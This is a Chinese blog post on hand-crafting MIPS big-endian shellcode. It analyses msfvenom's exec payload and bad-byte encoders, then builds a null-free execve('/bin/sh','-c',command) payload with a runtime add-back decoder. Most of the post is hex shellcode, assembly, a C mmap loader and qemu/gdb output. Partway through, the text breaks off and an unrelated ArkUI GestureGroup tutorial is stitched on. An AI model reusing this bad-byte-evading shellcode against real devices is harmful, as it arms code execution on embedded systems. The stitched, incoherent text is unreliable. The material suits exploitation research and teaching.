在漏洞验证过程中,Shellcode 作为实现任意代码执行的核心载荷,其字节序列必须能够完整、无损地注入目标进程并被成功执行。然而,现实环境中目标程序对外部输入的处理往往伴随着各种限制条件:例如,strcpy、sprintf 等 C 标准库函数会将 空字节(\x00)视为字符串结束符,一旦在输入中出现,后续数据便会被直接截断;此外,部分协议解析逻辑、输入校验机制或安全防护措施,还可能对特定“危险字符”进行过滤、转义或拒绝处理。若 Shellcode 中包含这些受限字节,极易导致载荷被截断、破坏甚至完全失效,从而使利用过程功亏一篑。
这一问题不仅存在于传统的栈溢出型 Shellcode 注入场景中,在现代利用技术(如 ROP,Return-Oriented Programming)下同样尤为突出。一方面,许多可用 gadget 的地址本身就可能包含 \x00 或其他坏字节,在通过 strcpy、sprintf 等以空字节为终止符的函数写入时,地址无法被完整拷贝,直接导致 ROP 链构造失败;另一方面,为规避这些坏字节,攻击者往往需要引入额外的 gadget,通过逐字节写入、地址拼接或运行时计算等方式间接构造目标地址或参数。这类方案不仅显著增加了 ROP 链的长度和复杂度,也大幅提升了 gadget 搜索、链条设计与调试的时间成本。
因此,准确识别目标环境中的坏字节,并针对性地制定规避策略,是编写稳定、可靠 Shellcode 乃至构造高成功率利用链的关键前提。下文将围绕 msfvenom 在坏字节处理方面的局限性,系统分析其常见缺陷、实际影响,并结合实战场景介绍有效的绕过思路与技巧。
| 类别 | 名称/助记符 | 作用描述 | 技术细节/约定 |
| 寄存器 | $zero(0) |
为 0 | 无法被修改,常用于清零操作或简单的数值拷贝。 |
| 寄存器 | $v0 - $v1(2-3) |
结果与调用号 | $v0 用于存储系统调用号(syscall)或函数的第一个返回值。 |
| 寄存器 | $a0 - $a3(4-7) |
参数传递 | 调用函数时,前四个参数依次存放在这里。 |
| 寄存器 | $t0 - $t9(8-15, 24-25) |
临时寄存器 | 随用随写,函数调用时不保证这些值会被保留。 |
| 寄存器 | $s0 - $s7(16-23) |
静态寄存器 | 存放长期使用的数据,函数调用前后必须保持原值不变。 |
| 寄存器 | $sp(29) |
栈指针 | 指向当前内存栈的顶部(向低地址增长)。 |
| 寄存器 | $ra(31) |
返回地址 | 保存子程序执行完后应当返回的指令位置。 |
| --- | --- | --- | --- |
| 算术指令 | add / addu |
加法 | add 会检查溢出,addu(无符号)则不检查。 |
| 算术指令 | sub / subu |
减法 | 寄存器减法。MIPS 没有 subi,减常数通常用 addi加负数。 |
| 算术指令 | addi / addiu |
立即数加法 | 将寄存器值与一个 16 位常数相加。 |
| 访存指令 | lw / sw |
加载 / 存储字 | lw: 内存 → 寄存器;sw: 寄存器 → 内存。 |
| 跳转指令 | beq / bne |
条件分支 | 相等(Equal)或不等(Not Equal)则跳转。 |
| 跳转指令 | j / jal |
直接跳转 | j 纯跳转;jal 跳转并链接(将返回地址存入 $ra)。 |
| 跳转指令 | bltzal |
小于零跳转并链接 | li $a2, 1638; bltzal $a2, 0 这里 $a2 是 1638(大于 0),所以 bltzal 的跳转不会发生。 利用这一点获取当前代码地址, 这是经典 MIPS 获取 PC 技巧。 |
| 系统指令 | syscall |
系统调用 | 陷入内核态。根据 $v0 中的值,请求内核执行特定操作(如读写文件、退出程序、执行新程序等)。 |
| 其他 | li |
加载立即数 | 伪指令,用于快速给寄存器赋一个常数值。 |
# 下载安装
wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.4.89~20250916055710~1rapid7-1_amd64.deb
sudo dpkg -i metasploit-framework_6.4.89~20250916055710~1rapid7-1_amd64.deb
# 用法
msfvenom -l payloads | grep linux/arm
msfvenom --platform linux --arch armle -p linux/armle/exec CMD=/bin/ls -f c
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD=/bin/ls -f c
No encoder specified, outputting raw payload
Payload size: 52 bytes
Final size of c file: 244 bytes
unsigned char buf[] =
"\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd"
"\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8"
"\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01"
"\x01\x0c\x2f\x62\x69\x6e\x2f\x6c\x73\x00";
# hex转汇编命令
echo "2406066604d0ffff2806ffff27bdffe027e410012484f01fafa4ffe8afa0ffec27a5ffe824020fab0101010c2f62696e2f6c7300" | xxd -r -p > mips_code.bin
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump -D -b binary -m mips:isa32 --endian=big mips_code.bin
# msfvenom 生成不含bad的shellcode
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c -bad 00 -e mipsbe/byte_xori
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of mipsbe/byte_xori
mipsbe/byte_xori succeeded with size 156 (iteration=0)
mipsbe/byte_xori chosen with final size 156
Payload size: 156 bytes
Final size of c file: 684 bytes
unsigned char buf[] =
"\x24\x0e\xff\xc6\x01\xc0\x70\x27\x24\x0b\xff\xac\x05\x10"
"\xff\xff\x28\x08\x87\xd5\x01\x60\x58\x27\x03\xeb\xc8\x21"
"\x03\xeb\x80\x21\x28\x17\xed\x9a\x83\x31\xff\xff\x24\x0d"
"\xff\xfc\x01\xa0\x30\x27\x20\xcf\xff\xfe\x83\x28\xff\xfc"
"\x02\xef\xb8\x21\x39\x03\x4a\x4a\x02\xee\xf0\x2b\xa3\x23"
"\xff\xfc\x17\xc0\xff\xfa\x03\x2f\xc8\x21\x26\x04\xff\xfc"
"\x24\x0a\xff\xcb\x01\x40\x28\x27\x24\x02\x10\x33\x01\x4a"
"\x54\x0c\x4a\x4a\x4a\x4a\x6e\x4c\x4c\x2c\x4e\x9a\xb5\xb5"
"\x62\x4c\xb5\xb5\x6d\xf7\xb5\xaa\x6d\xae\x5a\x4b\x6e\xce"
"\xba\x55\xe5\xee\xb5\xa2\xe5\xea\xb5\xa6\x6d\xef\xb5\xa2"
"\x6e\x48\x45\xe1\x4b\x4b\x4b\x46\x26\x39\x6a\x67\x2b\x26"
"\x4a\x4a";
在嵌入式设备漏洞验证中,MIPS 架构的 Shellcode 常通过 msfvenom 快速生成。然而,msfvenom 在生成 带命令参数的 Shellcode(如执行 cat /etc/passwd、wget ... 等)时存在明显缺陷:
缺乏原生支持:
msfvenom 提供的 linux/mipsle/exec 或 linux/mipsbe/exec 等 payload 虽可执行指定程序,但不支持直接传入多参数命令(如 -c "command")。用户通常需手动构造完整的 argv 数组(包含程序路径、参数、空终止等),而 msfvenom 无法自动生成此类复杂结构。
#include
#include
#include
unsigned char shellcode[] =
"\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd"
"\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8"
"\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01"
"\x01\x0c\x6c\x73\x20\x2d\x61\x6c\x00\x00";
int main() {
void *exec_mem = mmap(NULL, sizeof(shellcode),
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (exec_mem == MAP_FAILED) {
perror("mmap");
return 1;
}
memcpy(exec_mem, shellcode, sizeof(shellcode));
printf("Executing shellcode at address: %p\
", exec_mem);
void (*func)() = (void(*)())exec_mem;
func();
munmap(exec_mem, sizeof(shellcode));
return 0;
}
# 生成shellcode
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls" -f c # 能执行
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c #不能执行
# 编译成可执行文件
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-gcc -z execstack -static -g -o mips_verify_shellcode mips_verify_shellcode.c
# qemu模拟执行
qemu-mips-static mips_verify_shellcode
qemu: uncaught target signal 4 (Illegal instruction) - core dumped
[1] 972786 illegal hardware instruction (core dumped) qemu-mips-static mips_verify_shellcode
执行失败

echo "2406066604d0ffff2806ffff27bdffe027e410012484f01fafa4ffe8afa0ffec27a5ffe824020fab0101010c6c73202d616c0000" | xxd -r -p > mips_code.bin
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump -D -b binary -m mips:isa32 --endian=big mips_code.bin
mips_code.bin: file format binary
Disassembly of section .data:
00000000 <.data>:
0: 24060666 li a2,1638
4: 04d0ffff bltzal a2,0x4
8: 2806ffff slti a2,zero,-1
c: 27bdffe0 addiu sp,sp,-32
10: 27e41001 addiu a0,ra,4097
14: 2484f01f addiu a0,a0,-4065
18: afa4ffe8 sw a0,-24(sp)
1c: afa0ffec sw zero,-20(sp)
20: 27a5ffe8 addiu a1,sp,-24
24: 24020fab li v0,4011 # 调用号,对应函数execve
28: 0101010c syscall 0x40404
2c: 6c73202d .word 0x6c73202d
30: 616c0000 .word 0x616c0000

先看看 mips 用于命令执行的调用号是多少,4011 对应的就是execve函数。
函数的调用号可在cat /usr/mips-linux-gnu/include/asm/unistd.h下找到
cat /usr/mips-linux-gnu/include/asm/unistd.h
cat /usr/mips-linux-gnu/include/asm/unistd_o32.h

以下将介绍msfvenom 提供的 linux/mipsle/exec 或 linux/mipsbe/exec不支持直接传入参数命令的原因:
先了解execve函数原型:int execve(const char *filename,char *const argv[],char *const envp[]);其中 filename 指定可执行文件路径, argv 为传递给新程序的命令行参数, envp 定义新进程的环境变量。 三个参数均需遵循C字符串规范,且数组必须以NULL指针终结。
filename:是要执行的可执行文件路径(如 "/bin/sh")。argv[]:是一个以 NULL 结尾的字符串数组,argv[0] 通常也设为可执行文件名(但可任意设置,不影响执行),argv[1]、argv[2]... 是传递给该程序的参数。因此,在构造 Shellcode 调用 execve("/bin/sh", ["/bin/sh", "-c", "command"], NULL) 时:
$a0 → 指向 "/bin/sh"(即 filename)$a1 → 指向一个指针数组(即 argv),该数组包含:ptr0 → "/bin/sh"ptr1 → "-c"ptr2 → "command"ptr3 → NULL$a2 → 通常设为 NULL(envp)通过调试找出MSFVenom 生成 MIPS 架构 Shellcode 能执行不带参数命令但不支持直接传入多参数命令的原因。

qemu-mips-static -g 1234 mips_verify_shellcode
gdb ./mips_verify_shellcode
target remote :1234
b main
c
ni 35
si




通过调试可发现a0的值是/bin/ls /,上面说到const char *filename($a0)是可执行文件的路径,系统找不到/bin/ls /可执行文件,所以导致只能执行不带参数的命令。这里可以猜测开发是为了避免出现\x00坏字节才这样构造的,虽然有缺陷但做漏洞验证还是足够。
msfvenom生成mips架构的shellcode优缺点:
优点:shellcode短
缺陷:只能执行不带参数的任意命令,msfvenom提供的bad方案并不能运行(只测试过mips架构)。
msfvenom --list encoders | grep mips
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c -bad 00 -e mipsbe/byte_xori

接下来我们要想执行任意命令且能够携带任意参数,我们需要构造成execve(const char *filename, char *const argv [], char *const envp [])格式,为什么用这个格式?
MIPS(或其他架构)shellcode 中,直接构造多参数命令(如 "/bin/ls", "/", NULL)比较麻烦,因为:
argv 数组变长而通过 execve(const char *filename,char *const argv[],char *const envp[]) 可以把复杂参数打包成一个字符串,只需传递三个固定参数,这样更灵活,尤其适合执行任意命令(如 cat /etc/passwd、wget ... 等)。
$s0地址及之后作为数据区域取址给$a0、$a1与$a2作为命令执行的参数。
$s0 -> $s1 -> 0($sp) -> $a0
$s0, 8 -> $s2 -> 4($sp) -> $a1
$s0, 11 -> $s3 -> 8($sp) -> $a2
ASM_MIPS1 = """
# MIPS execve("/bin/sh", ["/bin/sh", "-c", command], NULL) shellcode
.section .text
.globl __start
.set noreorder
__start:
# --- 第 1 部分:位置无关代码 (PIC) ---
bal find_data
nop # 分支延迟槽, $ra 将指向这里
find_data:
# $ra 现在指向 nop 指令。
# 我们需要计算从 nop 到数据区的偏移。
# 代码部分共 14 条指令 = 56 字节。
addu $s0, $ra, 56 # $s0 = 数据区的基地址
# --- 第 2 部分:在栈上构建参数数组 (argv) ---
move $s1, $s0 # $s1 -> "/bin/sh"
addiu $s2, $s0, 8 # $s2 -> "-c"
addiu $s3, $s0, 11 # $s3 -> your_cmd
# 为 argv 数组在栈上分配空间 (4个指针 = 16字节)
addiu $sp, $sp, -16
sw $s1, 0($sp) # argv[0] = > "/bin/sh"
sw $s2, 4($sp) # argv[1] = > "-c"
sw $s3, 8($sp) # argv[2] = > command
sw $zero, 12($sp) # argv[3] = > NULL
# --- 第 3 部分:执行系统调用 ---
move $a0, $s1 # a0 = path
move $a1, $sp # a1 = argv
move $a2, $zero # a2 = envp
li $v0, 4011 # syscall: execve
syscall
# --- 第 4 部分:数据区 ---
.asciiz "/bin/sh"
.asciiz "-c"
.asciiz "{command}"
"""
生成shellcode测试是否能执行命令
shellcode += b"\x04\x11\x00\x01\x00\x00\x00\x00\x27\xf0\x00\x38\x02\x00\x88\x25\x26\x12\x00\x08"
shellcode += b"\x26\x13\x00\x0b\x27\xbd\xff\xf0\xaf\xb1\x00\x00\xaf\xb2\x00\x04\xaf\xb3\x00\x08"
shellcode += b"\xaf\xa0\x00\x0c\x02\x20\x20\x25\x03\xa0\x28\x25\x00\x00\x30\x25\x24\x02\x0f\xab"
shellcode += b"\x00\x00\x00\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x6c\x73\x20\x2d\x61"
shellcode += b"\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
#include
#include
#include
unsigned char shellcode[] =
"\x04\x11\x00\x01\x00\x00\x00\x00\x27\xf0\x00\x38\x02\x00\x88\x25\x26\x12\x00\x08"
"\x26\x13\x00\x0b\x27\xbd\xff\xf0\xaf\xb1\x00\x00\xaf\xb2\x00\x04\xaf\xb3\x00\x08"
"\xaf\xa0\x00\x0c\x02\x20\x20\x25\x03\xa0\x28\x25\x00\x00\x30\x25\x24\x02\x0f\xab"
"\x00\x00\x00\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x6c\x73\x20\x2d\x61"
"\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
;
int main() {
void *exec_mem = mmap(NULL, sizeof(shellcode),
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (exec_mem == MAP_FAILED) {
perror("mmap");
return 1;
}
memcpy(exec_mem, shellcode, sizeof(shellcode));
printf("Executing shellcode at address: %p\
", exec_mem);
void (*func)() = (void(*)())exec_mem;
func();
munmap(exec_mem, sizeof(shellcode));
return 0;
}
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-gcc -z execstack -static -g -o mips_verify_shellcode mips_verify_shellcode.c
➜ qemu-mips-static mips_verify_shellcode
drwxr-xr-x 2 root root 4096 Jan 12 17:05 .
drwx------ 17 root root 4096 Jan 12 17:05 ..
-rw-r--r-- 1 root root 1152 Jan 12 17:05 mips_verify_shellcode.c
这种方式简单,能执行带任意参数的命令。但是\x00坏字节特别多,需要自行xor混淆,在此基础上混淆后的shellcode非常长,遇到溢出有限制的也没法直接使用。所以还是在msfvenom基础上改进吧。
可以看到执行echo 0,解码器+ shellcode长度有200字节了,还是非常长的。
# 这是由msfvenom生成
mips_code.bin: file format binary
Disassembly of section .data:
00000000 <.data>:
0: 24060666 li a2,1638
4: 04d0ffff bltzal a2,0x4
8: 2806ffff slti a2,zero,-1
c: 27bdffe0 addiu sp,sp,-32
10: 27e41001 addiu a0,ra,4097
14: 2484f01f addiu a0,a0,-4065
18: afa4ffe8 sw a0,-24(sp)
1c: afa0ffec sw zero,-20(sp)
20: 27a5ffe8 addiu a1,sp,-24
24: 24020fab li v0,4011
28: 0101010c syscall 0x40404
2c: 6c73202d .word 0x6c73202d
30: 616c0000 .word 0x616c0000
# 改进
ASM_MIPS2 = """
.set noreorder
li $a2,1638
bltzal $a2,0
slti $a2,$zero,-1
addiu $sp,$sp,-32
addiu $s3,$ra,4097
addiu $a0,$s3,-4041
addiu $a1,$s3,-4033
addiu $a2,$s3,-4030
# 自修复代码
# ....这里是为了表示后续插入一段指令处理坏字节问题。
# end
sw $a0,-24($sp)
sw $a1,-20($sp)
sw $a2,-16($sp)
sw $zero,-12($sp)
# 将$a0,$a1与$2压入栈中
addiu $a1,$sp,-24 # $a1是argv,指的是char const argv []
addiu $s4,$zero,1111 # 将$a2设置为0,用两行指令实现也是为了避免坏字节
addiu $a2,$s4,-1111
li $v0,4011 # execve调用号
syscall 0x40404
# --- 第 4 部分:数据区 ---
.asciiz "/bin/sh"
.asciiz "-c"
.asciiz "{command}"
"""
addiu $sp,$sp,-32
addiu $s3,$ra,4097 # $s3在后续处理坏字节时会有用
addiu $a0,$s3,-4041
addiu $a1,$s3,-4033
addiu $a2,$s3,-4030
该指令的作用并非将 $s3 的值加上 -4041 后“赋值”给 $a0,而是通过地址偏移计算,获取数据区中某字符串(如 "/bin/sh")的内存地址,并将其作为指针存入 $a0。同理,后续还会通过类似操作计算出 "-c" 和 {command} 字符串在内存中的地址。但需要特别注意:execve 的第二个参数 $a1 并非直接指向这些字符串本身,而是应指向一个指针数组(即 argv 数组)的起始地址,该数组在栈(或数据区)中依次存放着指向 "/bin/sh"、"-c"、"{command}" 等字符串的地址,并以一个 NULL 指针结尾。 因此,完整的参数设置逻辑应为:
- $ a0 → "/bin/sh" 字符串的地址(可执行文件路径);
- $ a1 → 栈上某位置的地址,该位置开始连续存储三个(或更多)指针: [ptr_to_"/bin/sh", ptr_to_"-c", ptr_to_"{command}", NULL];
- $ a2 → 通常设为 NULL(表示 envp 为空)。
——核心是“取址”,而非“取值”或“赋值”,混淆此概念将严重影响对 Shellcode 内存布局的理解。
至于为何使用 addiu $s3, $ra, 4097 来初始化 $s3?这是因为 MIPS 的立即数编码若过小(如
+32、+16 等),其机器码低位常包含 \x00(例如 addiu $t0, $zero, 1 编码为 \x24\x48\x00\x01),而 \x00 在多数输入场景下是坏字节,会导致载荷被截断。因此,故意选用一个较大的立即数(如 4097)可避免生成 \x00 字节。
后续的偏移量(如 -4041、-4033、-4030)并非随意选取,而是通过调试计算得出:它们取决于 $s3 的基准地址(由 $ra + 4097 确定)与各字符串在 Shellcode 数据区中的相对位置,同时也受整个 Shellcode 长度影响。调整 Shellcode 内容后,这些偏移通常需要重新校准。
#include
#include
#include
unsigned char shellcode[] =
"\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd\xff\xe0\x27\xf3\x10\x01"
"\x26\x64\xf0\x37\x26\x65\xf0\x3f\x26\x66\xf0\x42\xaf\xa4\xff\xe8\xaf\xa5\xff\xec"
"\xaf\xa6\xff\xf0\xaf\xa0\xff\xf4\x27\xa5\xff\xe8\x24\x14\x04\x57\x26\x86\xfb\xa9"
"\x24\x02\x0f\xab\x01\x01\x01\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x69"
"\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
;
int main() {
void *exec_mem = mmap(NULL, sizeof(shellcode),
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (exec_mem == MAP_FAILED) {
perror("mmap");
return 1;
}
memcpy(exec_mem, shellcode, sizeof(shellcode));
printf("Executing shellcode at address: %p\
", exec_mem);
void (*func)() = (void(*)())exec_mem;
func();
munmap(exec_mem, sizeof(shellcode));
return 0;
}
先测试一下,能执行说明没有问题。


echo "2406066604d0ffff2806ffff27bdffe027f310012664f0372665f03f2666f042afa4ffe8afa5ffecafa6fff0afa0fff427a5ffe8241404572686fba924020fab0101010c2f62696e2f7368002d63006964000000000000000000000000000000" | xxd -r -p > mips_code.bin
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump -D -b binary -m mips:isa32 --endian=big mips_code.bin
mips_code.bin: file format binary
Disassembly of section .data:
00000000 <.data>:
0: 24060666 li a2,1638
4: 04d0ffff bltzal a2,0x4
8: 2806ffff slti a2,zero,-1
c: 27bdffe0 addiu sp,sp,-32
10: 27f31001 addiu s3,ra,4097
14: 2664f037 addiu a0,s3,-4041
18: 2665f03f addiu a1,s3,-4033
1c: 2666f042 addiu a2,s3,-4030
20: afa4ffe8 sw a0,-24(sp)
24: afa5ffec sw a1,-20(sp)
28: afa6fff0 sw a2,-16(sp)
2c: afa0fff4 sw zero,-12(sp)
30: 27a5ffe8 addiu a1,sp,-24
34: 24140457 li s4,1111
38: 2686fba9 addiu a2,s4,-1111
3c: 24020fab li v0,4011
40: 0101010c syscall 0x40404
44: 2f62696e sltiu v0,k1,26990
48: 2f736800 sltiu s3,k1,26624 # /sh\x00
4c: 2d630069 sltiu v1,t3,105 # -c\x00i
50: 64000000 .word 0x64000000 # d\x00
通过以上汇编指令生成机器码可发现有三处坏字节是无法通过变化指令来避免的,也就是数据区最后的12字节(48,4c,50 ),其中48与4c是固定位置的,偏移量不会改变,而最后四字节需要动态获取。

在模板二的基础上,为解决 bad 字节(坏字符) 问题,需要通过新增指令对原有逻辑进行扩展。其核心思路是利用运行时运算绕过静态字节限制。因此,首先需要掌握的就是最基本的加减运算,其原理直观、实现简单,却在规避坏字节的 Shellcode 中具有极高的实用价值。
ASM_MIPS2 = """
.set noreorder
li $a2,1638
bltzal $a2,0
slti $a2,$zero,-1
addiu $sp,$sp,-32
addiu $s3,$ra,4097
addiu $a0,$s3,-4041
addiu $a1,$s3,-4033
addiu $a2,$s3,-4030
# 自修复代码
# ....这里是为了后续插入一段指令解决坏字节问题
# end
sw $a0,-24($sp)
sw $a1,-20($sp)
sw $a2,-16($sp)
sw $zero,-12($sp)
# 将$a0,$a1与$2压入栈中
addiu $a1,$sp,-24 # $a1是argv,也就是数组,压入栈才能正确解析
addiu $s4,$zero,1111 # 将$a2设置为0,用两行指令实现也是为了避免坏字节
addiu $a2,$s4,-1111
li $v0,4011 # execve调用号
syscall 0x40404
# --- 第 4 部分:数据区 ---
.asciiz "/bin/sh"
.asciiz "-c"
.asciiz "{command}"
"""
在如下指令后
0: 24060666 li a2,1638
4: 04d0ffff bltzal a2,0x4
插入 0x33333333 对应的占位指令:
8: 33333333 andi s3, t9, 0x3333
该指令在当前执行上下文中不会触发无效指令异常,同时也不会破坏寄存器状态或影响后续控制流的正常执行,因此可安全地作为填充或运算辅助指令使用。当然,该指令并不局限于放置在当前位置,如根据需求插入到其他位置,只需在后续阶段重新计算相关偏移或地址($t2)即可。
在此基础上,为规避 bad 字节 问题,可将原位于 0x48、0x4c 与 0x50 的目标机器码统一减去 0x33333333,在运行时再通过加法或其他等价运算进行还原,从而实现对受限字节的有效绕过。

【图 4.1】
2F736800 - 0x33333333 = FC4034CD # "/sh\x00"
2D630069 - 0x33333333 = FA2FCD36 # "-c\x00i"
64000000 - 0x33333333 = 30CCCCCD # "d\x00"
将原本位于 0x48、0x4c 与 0x50 的机器码替换为上述计算后的结果,以确保 Shellcode 在注入阶段不包含受限的坏字节。
在此基础上,通过在自修复(self-modifying)代码段中插入相应的汇编指令,于运行时对这些位置执行加法运算,将减去的 0x33333333 重新补回,从而动态还原原始机器码内容。该方式在不引入坏字节的前提下,实现了对关键数据与指令的完整恢复,确保 Shellcode 能够按照预期逻辑正常执行。
ASM_MIPS2 = """
.set noreorder
li $a2,1638
bltzal $a2,0
# 0x33333333是shellcode生成后插入的,假设这里存在0x33333333,在计算偏移时需要+4
slti $a2,$zero,-1
addiu $sp,$sp,-32
addiu $s3,$ra,4097
addiu $a0,$s3,-3997 # 因为插入了一段自修复代码,所以a1,a2与a3需要重新计算偏移。
addiu $a1,$s3,-3989
addiu $a2,$s3,-3986
# 自修复代码
lw $t2,-4101($s3) # -4101($s3)就是取的 0x33333333
lw $t3,-3993($s3) # 取FC4034CD ,地址为0x3fffe074
addu $t3,$t3,$t2 # FC4034CD + 0x33333333 = 2F736800
sw $t3,-3993($s3) # 将计算后的结果放回0x3fffe074处(见【图 4.2】)
lw $t3,-3989($s3) # 取FA2FCD36 ,地址为0x3fffe078
addu $t3,$t3,$t2 # FA2FCD36 + 0x33333333 = 2D630069
sw $t3,-3989($s3) # 将计算后的结果放回0x3fffe078处(见【图 4.2】)
# 此处使用变量 offset 的原因在于:
# 数据区最后4字节非常容易出现\x00坏字节。
# 例如字符串:"echo 000000000"
# 在内存中的表示为:\x65\x63\x68\x6f\x20\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x00\x00
# 其尾部包含多个 \x00,因此需要设置变量动态计算偏移地址。
lw $t3,-{offset}($s3) # 取30CCCCCD 地址为0x3fffe07c
addu $t3,$t3,$t2 # 30CCCCCD + 0x33333333 = 64000000
sw $t3,-{offset}($s3) # 将计算后的结果放回0x3fffe07c处(见【图 4.2】)
# end
sw $a0,-24($sp)
sw $a1,-20($sp)
sw $a2,-16($sp)
sw $zero,-12($sp)
addiu $a1,$sp,-24
addiu $s4,$zero,1111 #将 $a2设置为0
addiu $a2,$s4,-1111
li $v0,4011
syscall 0x40404
# --- 第 4 部分:数据区 ---
.asciiz "/bin/sh"
.asciiz "-c"
.asciiz "{command}"
"""

0x3fffe070 ◂— 0x2f62696e ('/bin') 本身没有坏字节所以不用处理。见上图【图 4.1】
继续往下执行可看到 0x3fffe074,0x3fffe078与0x3fffe07c处的值已经还原了。

【图 4.2】


至此,数据已在运行时被完整还原,Shellcode 能够按照预期逻辑稳定执行,shellcode缩短至128 字节;如下图所示,即使在传入额外参数的情况下,载荷未引入 \x00 坏字节,整体执行过程保持正常。


该方案可用脚本实现,但还是有些小问题需优化,待完善后再放在评论区。
在 ArkUI 里,单个手势(点击、长按、滑动、缩放…)已经够好用,但一旦你要做这种交互: 就会发现仅靠 本文定位就是一篇可以直接发社区的实战向自学笔记,按这几个问题展开: 官方一句话定义: 核心接口只有一个: 参数说明: 特点: 典型场景: 特点: 典型场景: 特点: 一旦其中一个手势识别成功: 典型场景: 含义: 常见情况: 在实际项目里, 先看一下官方示例的完整版,然后逐块拆解思路。 用户先长按卡片: 长按识别完成后,才会开始识别拖动: 必须用 Sequence 模式 想要“长按 → 再拖动”这样的链式交互,最自然就是顺序识别。 位移计算通过“起始位置 + 偏移量”完成 只在 PanGesture 的 onActionEnd 收尾 这是 用 ✅ 小结: 这里给两个思路示例,你可以按需带入自己项目。 伪代码示意: 思路: 给同一个 Item 区域同时注册: 伪代码示意: 最后快速帮你盘一遍重点: 基本语法 mode 选型建议 Tap + 双击 必须注意顺序 Sequence 模式 only 最后一个 onActionEnd 生效 onCancel 用来兜底清理状态 到这里, 用熟之后,你会发现:组合手势本身没那么难,难的是想清楚交互规则,而 GestureGroup 正好帮你把“规则”变成清晰的代码结构。TapGesture / PanGesture 这些基础手势不太好管理——这时候就轮到主角 GestureGroup 登场了。GestureMode 到底怎么选?onCancel 在真实项目中有什么用?一、GestureGroup 是什么?
GestureGroup 用来把多个基础手势组合在一起,根据指定的识别模式统一管理。
SystemCapability.ArkUI.ArkUI.FullGestureGroup(mode: GestureMode, ...gesture: GestureType[])mode: GestureMode(必填)
组合手势的“识别策略”,即三种模式:Sequence / Parallel / Exclusive...gesture: GestureType[](可选)TapGesture、LongPressGesture、PanGesture 等)⚠️ 官方特别说明:
当一个组件要同时支持 单击 + 双击 时,必须把双击放前面,单击放后面,才能正确识别。二、GestureMode 三种模式,搞清区别就成功一半
GestureMode 枚举定义了组合手势的识别方式:enum GestureMode {
Sequence, // 顺序识别
Parallel, // 并发识别
Exclusive // 互斥识别
}2.1 Sequence:顺序识别(默认值)
按照注册顺序,一个一个识别。前面的失败,后面的都不会触发。
onActionEnd 事件。2.2 Parallel:并发识别
所有手势同时识别,互不干扰。
PinchGesture(缩放)又要识别 RotateGesture(旋转);2.3 Exclusive:互斥识别
所有手势一起识别,谁先成功,就“赢”,其余都视为失败。
三、事件:onCancel 什么时候触发?
GestureGroup 自己只有一个事件:onCancel(event: () => void)onCancel 通常用来做:四、官方示例拆解:长按 + 拖动(顺序识别)
// xxx.ets
@Entry
@Component
struct GestureGroupExample {
@State count: number = 0;
@State offsetX: number = 0;
@State offsetY: number = 0;
@State positionX: number = 0;
@State positionY: number = 0;
@State borderStyles: BorderStyle = BorderStyle.Solid;
build() {
Column() {
Text('sequence gesture\n' +
'LongPress onAction:' + this.count + '\n' +
'PanGesture offset:\nX: ' + this.offsetX + '\n' +
'Y: ' + this.offsetY)
.fontSize(15)
}
.translate({ x: this.offsetX, y: this.offsetY, z: 0 })
.height(150)
.width(200)
.padding(20)
.margin(20)
.border({ width: 3, style: this.borderStyles })
.gesture(
// 顺序识别:长按成功后,才会识别拖动
GestureGroup(GestureMode.Sequence,
LongPressGesture({ repeat: true })
.onAction((event?: GestureEvent) => {
if (event && event.repeat) {
this.count++
}
console.info('LongPress onAction')
}),
PanGesture()
.onActionStart(() => {
this.borderStyles = BorderStyle.Dashed
console.info('pan start')
})
.onActionUpdate((event?: GestureEvent) => {
if (event) {
this.offsetX = this.positionX + event.offsetX
this.offsetY = this.positionY + event.offsetY
}
console.info('pan update')
})
.onActionEnd(() => {
this.positionX = this.offsetX
this.positionY = this.offsetY
this.borderStyles = BorderStyle.Solid
console.info('pan end')
})
)
.onCancel(() => {
console.info('sequence gesture canceled')
})
)
}
}4.1 交互效果总结
count 会累加;offsetX / offsetY 更新);onCancel。4.2 关键点解读
GestureGroup(GestureMode.Sequence, LongPressGesture(...), PanGesture())this.offsetX = this.positionX + event.offsetX
